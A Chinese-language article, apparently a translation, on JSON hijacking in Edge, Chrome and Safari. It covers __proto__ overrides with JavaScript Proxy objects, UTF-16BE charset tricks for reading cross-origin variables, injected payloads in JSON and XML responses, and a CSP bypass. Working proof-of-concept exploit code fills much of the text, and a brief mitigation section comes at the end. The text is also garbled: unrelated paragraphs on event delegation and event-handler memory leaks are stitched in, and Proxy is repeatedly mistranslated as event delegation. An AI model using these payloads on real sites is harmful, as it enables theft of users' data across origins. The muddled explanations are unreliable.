乾貨 | 劫持各個瀏覽器中的JSON漏洞
進行跨域數據竊取是JSON劫持漏洞的基本方法,一般替換的惡意代碼都是進行JSON劫持的代碼,將獲取到的JSON數據發送給第三方網站伺服器上。之所以可以利用這點進行劫持,是因為JSON數組本身就是特殊的Array,網站一旦返回的JSON數組,惡意攻擊者就通過重寫Array()的構造函數將數據轉發他們的服務上,這就是JSON數據劫持。
如果你想給網頁添加點JavaScript的交互性,也許你已經聽過JavaScript的事件代理(event delegation),事實上,如果你已經知道怎麼添加JavaScript的事件處理器(event handler),實現事件代理也是件輕而易舉的事情。
JavaScript事件是所有網頁互動性的根基(我指的是真正的互動性,而不僅是那些CSS下拉菜單)。在傳統的事件處理中,你按照需要為每一個元素添加或者是刪除事件處理器。然而,事件處理器將有可能導致內存泄露或者是性能下降——你用得越多這種風險就越大。
劫持 Edge中JSON漏洞
我們利用JS - 事件代理 竊取未定義的 JavaScript 變數。雖然 Edge阻止了分配 window.__proto__ 的行為,但我們還是可以利用 Object.setPrototypeOf 這個方法。通過這種方式我們可以使用代理過的 __proto__ 來覆蓋 __proto__ 屬性。就像這樣:
<script>nObject.setPrototypeOf(__proto__,new Proxy(__proto__,{n has:function(target,name){n alert(name);n }n}));n</script>n<script src="external-script-with-undefined-variable"></script>n<!-- script contains: stealme -->n
那麼__proto__是什麼?
1.簡單來說,在 javascript 中每個對象都會有一個 __proto__ 屬性,當我們訪問一個對象的屬性時,如果這個對象內部不存在這個屬性,那麼他就會去 __proto__ 里找這個屬性,這個 __proto__ 又會有自己的 __proto__,於是就這樣一直找下去,也就是我們平時所說的原型鏈的概念。
2.按照標準,__proto__ 是不對外公開的,但是有些瀏覽器的引擎卻它他暴露出來成為了一個公有屬性,我們可以對其進行訪問和賦值。
在javascript中有三類對象:
1. 用戶創建的對象,一般意義上使用new語句顯式構造的方法。
2. 構造函數的對象,普通的構造函數,即通過new調用生成普通對象的函數
3. 原型對象,構造函數prototype屬性指向的對象。
這三個對象中每一個類都有一個屬性-__proto__屬性,它們指向該對象的原型,從任何對象沿用它開始遍歷都可以追溯到Object.prototype。
構造函數都有prototype對象,它指向一個原型對象,通過該構造函數創建對象的時候,被創建的對象的__proto__屬性將指向構造函數的prototype屬性。
原型對象有一個constructor屬性,該屬性指向它對應的構造函數。這時你會在上面的最後一行代碼中發現 stealme,這表示在瀏覽器中出現了一個未定義的變數。
經過進一步的測試,可以發現通過 object EventTargetPrototype方法來覆蓋__proto __.__ proto__也可以實現相同的效果。
<script>n__proto__.__proto__=new Proxy(__proto__,{n has:function(target,name){n alert(name);n }n});n</script>n<script src="external-script-with-undefined-variable"></script>n
這意味著,我們此時可以進行跨域竊取數據了,目前所有主流瀏覽器都用到 charset 屬性。在這裡我們會用到一種字元編碼UTF-16BE,UTF-16BE (big endian),俗稱大頭 。比如說char a, ascii為 0x61, 那麼它的utf-8, 則為 [0x61], 但utf-16是16位的, 所以為[0x00, 0x61]
這恰好是一個有效的 JavaScript 變數。
假設我們有一個來自網路伺服器的響應,返回一個文本型數組,我們便可以控制這個數組的一部分。我們可以使用 UTF-16BE 重新定義JavaScript 變數。唯一要注意的是,組成的字元必須形成一個有效的 JavaScript 變數。
比如下面這個響應:
["supersecret","input here"]n
怎樣才能得到這個 supersecret,我們需要插入一個後面帶著兩個 as的空字元,這時,Edge 不會將這個字元視為 UTF-16BE。
<!DOCTYPE HTML>n<script>nObject.setPrototypeOf(__proto__,new Proxy(__proto__,{n has:function(target,name){n alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));n }n}));n</script>n<script charset="UTF-16BE" src="external-script-with-array-literal"></script>n<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->n
使用 UTF-16BE 編碼會出現「分段截斷(null)」的警告,因為使用這種劫持方法是相當受限的,僅能獲取少量的數據,因為許多字元組合不會產生有效的 JavaScript 變數。
劫持 Chrome 中JSON漏洞
由於Chrome 更加開放,有更多的字元編碼,所以JSON劫持漏洞的情況就更嚴重了,你不需要控制任何響應,就可以對Chrome進行字元編碼了。唯一的要求就是組合在一起的字元要是一個有效的 JavaScript 變數。為了找到這個變數,我們需要藉助另一個未定義的變數泄漏。從表面上看, Chrome 似乎阻止了覆蓋 __proto__ 的行為,但仔細看裡面卻大有蹊蹺。
<script> n__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{n has:function f(target,name){n var str = f.caller.toString();n alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));n }n});n</script>n<script charset="UTF-16BE" src="external-script-with-array-literal"></script>n<!-- script contains the following response: ["supersecret","abc"] -->n
注意: 這一漏洞已經在 Chrome 54 的版本中修復
深入到 __proto__ 原型鏈深的第5 層,並用我們的事件代理覆蓋它,接下來有意思的情況發生了。儘管命名參數不包含我們未定義的變數,但是由於函數的調用,我們得到了一個帶有我們變數名的函數!顯然它用 UTF-16BE 編碼了:
function 嬢獵灥牳散牥琢?慢撟崊n
怎麼會這樣?這時我們必須調用函數的 toString來訪問數據,否則 Chrome 顯示訪問異常(最初,瀏覽器的開發商、開發團體出於安全性的考慮,默認情況下是不允許在分屬於不同域的頁面之間進行數據交換和方法調用的,當遇到這種情況時瀏覽器就會返回「拒絕訪問(Access Denied)」的錯誤)。現在讓我們試著構造函數,以查看是否返回了不同的域(也許是 Chrome 擴展程序的上下文),從而進一步利用漏洞。當 adblock 被啟用時,我看到了一些使用這種方法的擴展程序代碼,但卻無法利用這些代碼,因為它們似乎只是將代碼注入到當前的document。
在此次編碼中,我們也發現了能夠包含 xml 或者 html 跨域數據以及響應內容類型 「text/html」,而這些都是相當嚴重的漏洞。
劫持 Safari中JSON漏洞
同樣,我們也很輕鬆地在最新版的 Safari 中實現。和chrome相比,我們要少用一個 proto且直接使用 「name」無需調用。
<script>n__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{n has:function f(target,name){n alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));n }n});n</script>n
經過進一步測試, Safari 和 Edge的操作原理是一樣的
如何在沒有JS 代理的情況黑掉JSON 漏洞
每個主流瀏覽器都支持 UTF-16BE 字元編碼,可如何在沒有 JS 代理的情況下黑掉 JSON漏洞呢?首先,你需要控制一些數據,而且必須用生成有效 JavaScript 變數的方式來構造漏洞。在注入數據之前,獲取 JSON 漏洞的第一部分非常簡單,你所需要做的就是注入一個 UTF-16BE 編碼字元串,該字元串將非 ASCII 變數分批賦予特定的值並逐一進行檢查,這樣注入之前的所有 JSON代碼都變為:
=1337;for(i in window)if(window[i]===1337)alert(i)n
這段代碼被編碼為 UTF-16BE 字元串,所以我們實際上得到的是代碼而不是非 ASCII 變數。也就是說,用 NULL 填充了每個字元。要獲得注入字元串後的字元,僅需使用增量運算符,並在彈出「顯示屬性」窗口後對字元串編碼
setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i);}))}catch(e){}}});++window.an
當檢查 isNaN 時 window.external 顯示異常。整個 JSON漏洞如下所示:
{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}n
繞過 CSP
內容安全策略(CSP)是一種聲明機制,允許Web開發者在其應用程序上指定多個安全限制,由支持的用戶代理(瀏覽器)來負責強制執行。CSP旨在「作為開發人員可以使用的工具,以各種方式保護其應用程序,減輕內容注入漏洞的風險和減少它們的應用程序執行的特權」
你可能已經注意到,經UTF-16BE 轉換後的字元串也會變為ASCII 變數,這使繞過 CSP成為可能!此時HTML 文檔將被視為 JavaScript 變數。而我們要做的就是注入一個帶有 UTF-16BE 字元的腳本,使其具有編碼賦值和payload的腳本注釋,但該方法只允許引用同一域下的腳本。
HTML 文檔內容:
<!DOCTYPE HTML><html>n<head>n<title>Test</title>n<?phpnecho $_GET[x];n?>n</head>n<body>n</body>n</html>n
注意在 doctype 之後沒有出現新行,HTML 就是以這樣一種方式構造的,所以可以確定這是有效的 JavaScript。
<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>n
請注意:這在更高版本的 PHP 中已經被修復
其他形式的字元編碼
經過好幾個晚上的fuzz測試,我可以確定對 Edge 沒什麼用,主要是由於前面提到過的字符集嗅探,如果你在文檔中沒有使用確定的字元,Edge就不會使用字元編碼。而Chrome 就不一樣了,因為我發現 ucs-2 編碼允許你導入 XML 數據來作為一個 JS 變數,但其可用性比 UTF-16BE 差遠了。我仍然要獲得了以下的 XML,才能在 Chrome 上進行導入。
<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i);setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeof window[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>n
目前以上內容在 Chrome 中已經不再有效
UTF-16 和 UTF-16LE 看起來也很有用,因為腳本輸出看起來像是一個 JavaScript 變數,但是當腳本中含有 doctype,XML 或 JSON 字元串時,UTF-16 和 UTF-16LE便會引起了一些無效的語法錯誤。Safari 則不會用UTF-16 和 UTF-16LE生成JavaScript。
CSS
你可能認為以上這些技術也適用於 CSS,這在在理論上是可以的,因為任何 HTML 將被轉換為非 ASCII 的無效 CSS 選擇器。但實際上,瀏覽器會在編碼解析 成CSS 之前,會查看XHTML頁面的頭部doctype。Edge,Firefox 和 IE 在標準模式下似乎也會檢查 mime 類型。
解決方案
在JSON處理之前,先遍曆數據,統一將編碼轉為UTF-8。5.6後版本的PHP,JSON處理數據時,遇到非UTF-8特殊字元,會直接返回false,之前則是會將特殊字元轉化為NULL。
總結
Edge,Safari 和 Chrome 中的漏洞能讓你跨域讀取javascript中未聲明的變數。另外你可以使用不同的編碼繞過 CSP竊取腳本數據。即使沒有代理,如果可以控制一些 JSON 響應的話,你也可以竊取數據。
註:本文參考來源於breakingmalware
推薦閱讀:
※【原創】R語言轉換並保存json文件--使用jsonlite包
※json 在 Python 爬蟲的應用
※XML/HTML/JSON——數據抓取過程中不得不知的幾個概念
※一捅到底的架構